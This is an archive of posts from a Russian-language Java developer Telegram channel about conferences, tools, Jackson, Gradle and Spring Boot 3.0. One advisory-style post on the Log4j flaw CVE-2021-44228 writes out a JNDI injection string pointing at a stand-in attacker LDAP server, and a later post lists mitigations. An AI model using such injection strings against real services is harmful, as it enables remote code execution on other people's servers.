Size: a a a

2021 October 30
middlejava
#java #productivityreport

Java Developer Productivity Report, 2021
Java Tools, Technologies, and Application Performance

Компания "Perforce" - поставщик Java-приложений "Jrebel" и "Xrebel" - недавно опубликовала результаты своего 9-го ежегодного доклада по эффективности Java-разработчиков. Доклад подготовлен на базе опроса более 850 Java-разработчиков. Рассмотренные темы включают основные качества Java-команд, трудности, с которыми они сталкиваются, предпочитаемые инструменты и результат применения этих инструментов и технологий. Основные показатели демонстрируют, что, несмотря на всё большее использование микросервисов, разработчики все еще сталкиваются с длительным деплоем и проблемами межсервисного функционала.

@middle_java
t.me/middle_java
источник
2021 November 01
middlejava
#architecture #systemdesign #development #webinar

Бесплатный вебинар от Developers Shore
"Типы Архитектур"

Обзор популярных видов архитектур, а так же разбор типичных проблем, связанных с тем или иным подходом.

Спикер - Борис Лепешенков, Software development manager

10 ноября, начало в 14:00 мск, Среда

Регистрация на мероприятие

@middle_java
t.me/middle_java
источник
2021 November 06
middlejava
#kotlin #grpc #google

Google объявил об официальной поддержке gRPC в Kotlin.

https://developers.googleblog.com/2021/11/announcing-kotlin-support-for-protocol.html

@middle_java
t.me/middle_java
источник
2021 November 24
middlejava
#java #devops #meetup #epam #jugru

EPAM JavaOps Meetup
29 ноября, 11:00, онлайн

Меньше, чем через неделю команда EPAM при поддержке JUG.Ru Group проведет новый бесплатный онлайн-митап — в этот раз по DevOps и Java.

В программе:

– Евгений Борисов и Александр Бармин — «Spring Сloud goes cloud». Иногда на проектах все еще выбирают синхронное взаимодействие микросервисов. Этот доклад — о том, как сделать масштабируемую динамическую синхронную архитектуру с помощью Spring Cloud, запустить это дело в облаке и прикрутить к нему Kubernetes.

– Илья Феоктистов — «Pulumi: программируем инфраструктуру на языках высокого уровня». При работе с Terraform у многих возникают сложности с его внутренним языком конфигурации HCL. Илья на примере Pulumi покажет более понятный подход с использованием языка Go.

А еще в ходе митапа можно будет выиграть толстовки и кружки-коферы. Подробности — в эфире.

Участие бесплатное, регистрация по ссылке: https://bit.ly/3nLgGgE

@middle_java
t.me/middle_java
источник
2021 November 27
middlejava
Вы довольны качеством Intellij Idea?
Анонимный опрос
4%
Нет, не доволен
7%
Скорее не доволен
44%
Скорее доволен
45%
Да, доволен
Проголосовало: 794
источник
2021 November 28
middlejava
#токен #аутентификация #авторизация #netflix #cloud #microservice #api #gateway #zuul #highload

Перевел статью Netflix
"Аутентификация в Edge и передача идентификаторов, не использующих токены"

Статья о переносе аутентификации на границу сети и использовании удостоверений, не использующих токены.

Из статьи вы узнаете, как в Netflix смогли:

— Уменьшить сложность для владельцев сервисов, которым больше не нужно знать и отвечать за терминацию протоколов безопасности и работу со множеством токенов безопасности,
— Повысить безопасность путем делегирования процесса управления токенами сервисам и командам, обладающим опытом в этой области,
— Улучшить возможности аудита и криминалистического анализа.

Статья:
https://habr.com/ru/post/591697/

Оригинал:
https://netflixtechblog.com/edge-authentication-and-token-agnostic-identity-propagation-514e47e0b602

@middle_java
t.me/middle_java
источник
2021 December 01
middlejava
#docker #antipatterns

Антипаттерны при сборке образов Docker-контейнеров от Jérôme Petazzoni - одного из создателей Docker

https://jpetazzo.github.io/2021/11/30/docker-build-container-images-antipatterns

@middle_java
t.me/middle_java
источник
2021 December 03
middlejava
Устали от работы?
https://robotics.ovh
Щелкайте по экрану для включения расслабляющей музыки,
и можно начинать таскать манекенов мышкой туда сюда 😁
Сорри, не удержался))

@middle_java
t.me/middle_java
источник
2021 December 07
middlejava
#java #roadmap #education

Нашел на ГитХабе интересный файл. Называется:

Руководство по вкатыванию в backend-разработку на Java для почти начинающих и сочувствующих

Первый уровень оглавления выглядит так:
-- Java Core Base
-- Java Core Advanced
-- Вступаем во взрослый мир
-- Spring
-- Основы CI/CD
-- Контейнеры
-- Конференции

https://github.com/EightM/JavaBackendStartGuide

@middle_java
t.me/middle_java
источник
2021 December 08
middlejava
#java #qa #meetup #reactive #webflux

GPB & IT_ONE
QA & JAVA MEETUP
15 декабря, 18:00 (Мск, GMT+3), онлайн

Газпромбанк и IT_ONE при поддержке JUG.Ru проведут бесплатный онлайн-митап.
В программе шесть докладов в двух треках — QA и Java.

Доклады про Java:
-- «Советы для тех, кто хочет стартануть с Reactive» - Олег Докука;
-- «8 причин, почему нужно переносить приложения на Java 17» - Максим Тихонов;
-- «Переход с самописного файлового хранилища на общебанковское» - Никита Калашников.

Всего в программе 6 докладов от топовых спикеров. Вы также сможете поучаствовать в квизе и задать вопрос спикерам во время дискуссий, которые будут проходить после каждого доклада.

Участие бесплатное.
Регистрация по ссылке.

@middle_java
t.me/middle_java
источник
2021 December 09
middlejava
F*ckup meetup | СберМаркет х Podlodka

Где-то в параллельной вселенной сервера не падают, код пишется без ошибок, релизы выкатываются по плану без багов и горящих дедлайнов. «Успешный успех» ищите на других конференциях, а мы приглашаем вас на митап, где можно будет честно показать свои скелеты в шкафу и обсудить ИТ-факапы года.

Первое правило факап-клуба — поделись своим факапом.
Авторы «лучших» факапов получат приглашение на закрытую офлайн-встречу 🎁

Трансляция будет доступна для всех!

➖➖➖

🗓 16 декабря, начало в 19:00 мск, Четверг

🌐 ОФЛАЙН И ОНЛАЙН

✅ Регистрация на мероприятие
источник
2021 December 12
middlejava
#apache #kafka #architecture

Архитектура использования Apache Kafka в разных компаниях.
Очень интересно взглянуть на реальные и успешные случаи её использования.

https://medium.com/softkraft/apache-kafka-use-cases-with-kafka-architecture-diagrams-577be32688e5

@middle_java
t.me/middle_java
источник
middlejava
#log4j #security #bug

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.

Уязвимость является крайне опасной ввиду следующих причин:

Чрезвычайно широкое распростронение библиотеки в экосистеме Java
Крайне простой эксплойт
Возможность выполнения злоумышленником произвольной команды на сервере
Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)
Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}", при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.

Помимо схемы jndi:ldap: возможно использование jndi:rmi: и jndi:dns:

https://www.linux.org.ru/news/security/16685022

@middle_java
t.me/middle_java
источник
2021 December 13
middlejava
#java #log4j #vulnerability #apache #mitigation

Способы устранения уязвимости найденной на днях в библиотеке log4j

1. Обновить библиотеку до версии 2.15.0​

Apache log4j выпустил обновление 2.15.0, которое устраняет эту уязвимость.

2. Активировать параметр formatMsgNoLookups​

Примечание:

Этот метод применим к log4j версий 2.10.0 и выше.

В log4j 2.15.0 этот флаг установлен по умолчанию.

Установите formatMsgNoLookups=true при конфигурировании log4j следующими возможными способами:

2.1. Передать как JVM флаг при вызове java

java -Dlog4j2.formatMsgNoLookups=true ...

2.2. Установить переменную окружения:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true java ...

2.3. Или с помощью аргументов среды окружения JVM:

JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

@middle_java
t.me/middle_java
источник
2021 December 21
middlejava
#java #jackson

В Jackson'e есть два похожих метода, которые преобразуют значение ноды в текст:
- asText ()
- textValue ()

Отличия в следующем:

- textValue - успешно сконвертирует только нативно текстовое значение ноды (например "example"), а если там будет например число, то он вернет null. Если значение равно null, то метод вернет null, в отличие от методов asText() и toString(), которые вернут стрингу "null". Если значение равно "null", то метод вернет стрингу "null".

- asText - попытается скастить любое значение ноды в текст, независимо от нативного типа. Например int 777 превратится в стрингу "777".

@middle_java
t.me/middle_java
источник
2021 December 26
middlejava
#maven #gradle #java

Для того чтобы за пару движений сконвертировать Maven pom.xml в Gradle gradle.buildgradle.build нужно всего лишь в корне проекта, где находится pom.xml, выполнить команду gradle init (gradle должен быть установлен).
Gradle найдет pom.xml и предложит его сконвертировать.

@middle_java
t.me/middle_java
источник
2021 December 31
middlejava
Друзья, поздравляю с наступающим Новым Годом!
Наша отрасль развивается, горизонты расширяются, нам главное не останавливаться в развитии и не распыляться в направлениях.
Желаю вам удовольствия от жизни, интереса в работе, гармонии в семье, не болейте ничем, включая модные нынче болячки, будьте востребованы и твердо идите по жизни.
С праздником!
источник
middlejava
#resume #cv #job

Нашёл очень интересные сервисы для анализа, оптимизации и прокачки резюме на базе текущих потребностей работодателей.

https://www.jobscan.co
https://www.topcv.com/cv-review

По ценам пока сильно не разбирался. На первый взгляд TopCV - бесплатный, у JobScan есть несколько тарифов, включая бесплатный, но и функционала у этого сервиса больше.

@middle_java
t.me/middle_java
источник
2022 January 24
middlejava
#springboot3 #milestone #java

20 января 2022 года выпущен Spring Boot 3.0.0-M1

Учитывая информацию ниже, пока это бесполезный для применения релиз, чисто понимать, что работа ведется.

Релиз доступен в репозитории https://repo.spring.io/milestone.
В этом релизе бейзлайн повышен с Java 8 до Java 17.
Новые релизы Spring Boot 3.0 планируется выпускать каждые два месяца.
M2 должен появиться 24 марта. GA планируется в конце ноября.
Все API Java EE перенесены в аналогичные пакеты Jakarta EE.
Для большинства пользователей это означает, что нужно будет заменить импорты javax на jakarta.
Например, javax.servlet.Filter надо заменить на jakarta.servlet.Filter.
Несколько сторонних библиотек еще не выпустили версии, совместимые с Jakarta EE, поэтому не все функции Spring Boot 2.x доступны в данном релизе.
По мере адаптации библиотек, соответствующие функции будут появляться в релизах Spring Boot.

Spring Boot 3.0 требует Java 17 в качестве минимальной версии и Spring Framework 6.
Для Gradle-приложений, требуется Gradle 7.3 или более поздней версии.
В тех случаях, когда загрузка Spring зависит от спецификации Jakarta EE, версия 3.0 обновлена до версии, включенной в Jakarta EE 9. Например, Spring Boot 3.0 использует спецификации Servlet 5.0 и JPA 3.0.

Чтобы различать модули, поддерживающие Jakarta EE 8 и Jakarta EE 9, некоторые проекты выпустили модули для Jakarta EE 9 с другими ID артефактов. Например, Undertow использует суффикс -jakartaee9, а Hibernate использует -jakarta. Стартеры Spring Boot должны учитывать эти изменения. Если вы объявляете зависимости на сторонние модули напрямую, то вам может потребоваться обновить объявления зависимостей, используя ID артефактов, совместимых с EE 9.

На данный момент удалена поддержка следующих модулей:

- EhCache 3
- H2’s web console
- Hibernate’s metrics
- Infinispan
- Jolokia
- Pooled JMS
- REST Assured
- SMTP appending with Logback
- SMTP appending with Log4j 2

Поддержка Jersey также временно удалена, так как он еще не поддерживает Spring Framework 6.

Поддержка следующих зависимостей была удалена в Spring Boot 3.0:

- Apache ActiveMQ
- Atomikos
- EhCache 2
- Hazelcast 3

Управление зависимостями для Apache Johnzon было удалено в пользу Eclipse Yasson. Версия Apache Johnzon, совместимая с Jakarta EE 9, может использоваться со Spring Boot 3, но теперь вам надо указывать версию в объявлении зависимости.

Spring Boot 3.0.0-M1 переходит на новые версии следующих проектов Spring:

- Micrometer 2.0.0-M1
- Spring AMQP 3.0.0-M1
- Spring Batch 5.0.0-M1
- Spring Data 2022.0.0-M1
- Spring Framework 6.0.0-M2
- Spring Integration 6.0.0-M1
- Spring HATEOAS 2.0.0-M1
- Spring Kafka 3.0.0-M1
- Spring LDAP 3.0.0-M1
- Spring REST Docs 3.0.0-M1
- Spring Security 6.0.0-M1
- Spring Session 2022.0.0-M1
- Spring Web Services 4.0.0-M1

Также были обновлены многочисленные сторонние зависимости, некоторые наиболее примечательные из которых следующие:

- Artemis 2.20.0
- Hazelcast 5.0
- Hibernate Validator 7.0
- Jakarta Activation 2.0
- Jakarta Annotation 2.0
- Jakarta JMS 3.0
- Jakarta JSON 2.0
- Jakarta JSON Bind 3.0
- Jakarta Mail 2.0
- Jakarta Persistence 3.0
- Jakarta Servlet 5.0
- Jakarta Servlet JSP JSTL 2.0
- Jakarta Transaction 2.0
- Jakarta Validation 3.0
- Jakarta WebSocket 2.0
- Jakarta WS RS 3.0
- Jakarta XML Bind 3.0
- Jakarta XML Soap 2.0
- Jetty 11
- jOOQ 3.16
- Tomcat 10

Помимо перечисленных изменений, также внесены некоторые незначительные изменения и улучшения, в том числе:

Java SecurityManager устарел в JDK, поэтому его поддержка удалена.
CommonsMultipartResolver удален в Spring Framework 6, поэтому в релизе он тоже удален.

В общем боевой вариант увидим, думаю, через год.

@middle_java
t.me/middle_java
источник
2022 January 26
middlejava
#java #meetup #english

Сегодня 26 января в 19:00 MSK проводится бесплатное мероприятие Cloud Builders: Java Edition.

Программа:

- Грейс Дженсен и Джейми Колмен, Developers Advocate в IBM, с tech talk “15 factors needed to build cloud native applications”.

- Джонатан Вила, Senior Software Engineer в Red Hat и Java Champion с fireside chat в формате Cloud AMA (ask me anything).

- Евгений Сулейманов, Senior Software Engineer в Bizzabo, выступит с lightning talk: “The complexities of working with ES in distributed systems on the real project”.

Модератор: Максим Сальников, Developer Engagement Lead в Microsoft

Язык докладов: английский.

Участие бесплатное.

Регистрация:
https://build-up.cloud-builders.tech

@middle_java
t.me/middle_java
источник